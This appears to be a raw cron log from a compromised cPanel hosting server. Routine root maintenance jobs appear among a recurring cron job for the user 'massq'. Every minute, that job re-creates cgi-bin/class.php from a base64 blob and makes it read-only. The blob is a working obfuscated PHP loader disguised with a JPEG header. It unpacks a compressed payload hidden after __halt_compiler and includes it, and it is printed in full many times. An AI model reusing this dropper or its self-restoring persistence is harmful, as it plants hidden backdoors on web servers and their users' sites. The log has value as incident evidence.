Nov 14 02:38:01 server CROND[15210]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:39:01 server CROND[16014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:39:01 server CROND[16015]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 02:40:01 server CROND[16814]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 02:40:01 server CROND[16817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 02:40:01 server CROND[16815]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 02:40:01 server CROND[16816]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:41:01 server CROND[17745]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:42:01 server CROND[18700]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:42:01 server CROND[18701]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 02:43:01 server CROND[19550]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:44:01 server CROND[20036]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:45:01 server CROND[20633]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 02:45:01 server CROND[20634]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 02:45:01 server CROND[20639]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:46:01 server CROND[20998]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:47:01 server CROND[21857]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron &gt; /dev/null 2&gt;&amp;1 &gt; /dev/null))
Nov 14 02:47:01 server CROND[21858]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:47:48 server crontab[22726]: (root) LIST (root)
Nov 14 02:48:01 server CROND[23463]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:48:31 server crontab[24033]: (root) LIST (root)
Nov 14 02:48:31 server crontab[24035]: (root) LIST (root)
Nov 14 02:48:35 server crontab[24194]: (root) LIST (root)
Nov 14 02:49:01 server CROND[24822]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:50:01 server CROND[25979]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 02:50:01 server CROND[25981]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:50:01 server CROND[25983]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 02:50:01 server CROND[25980]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
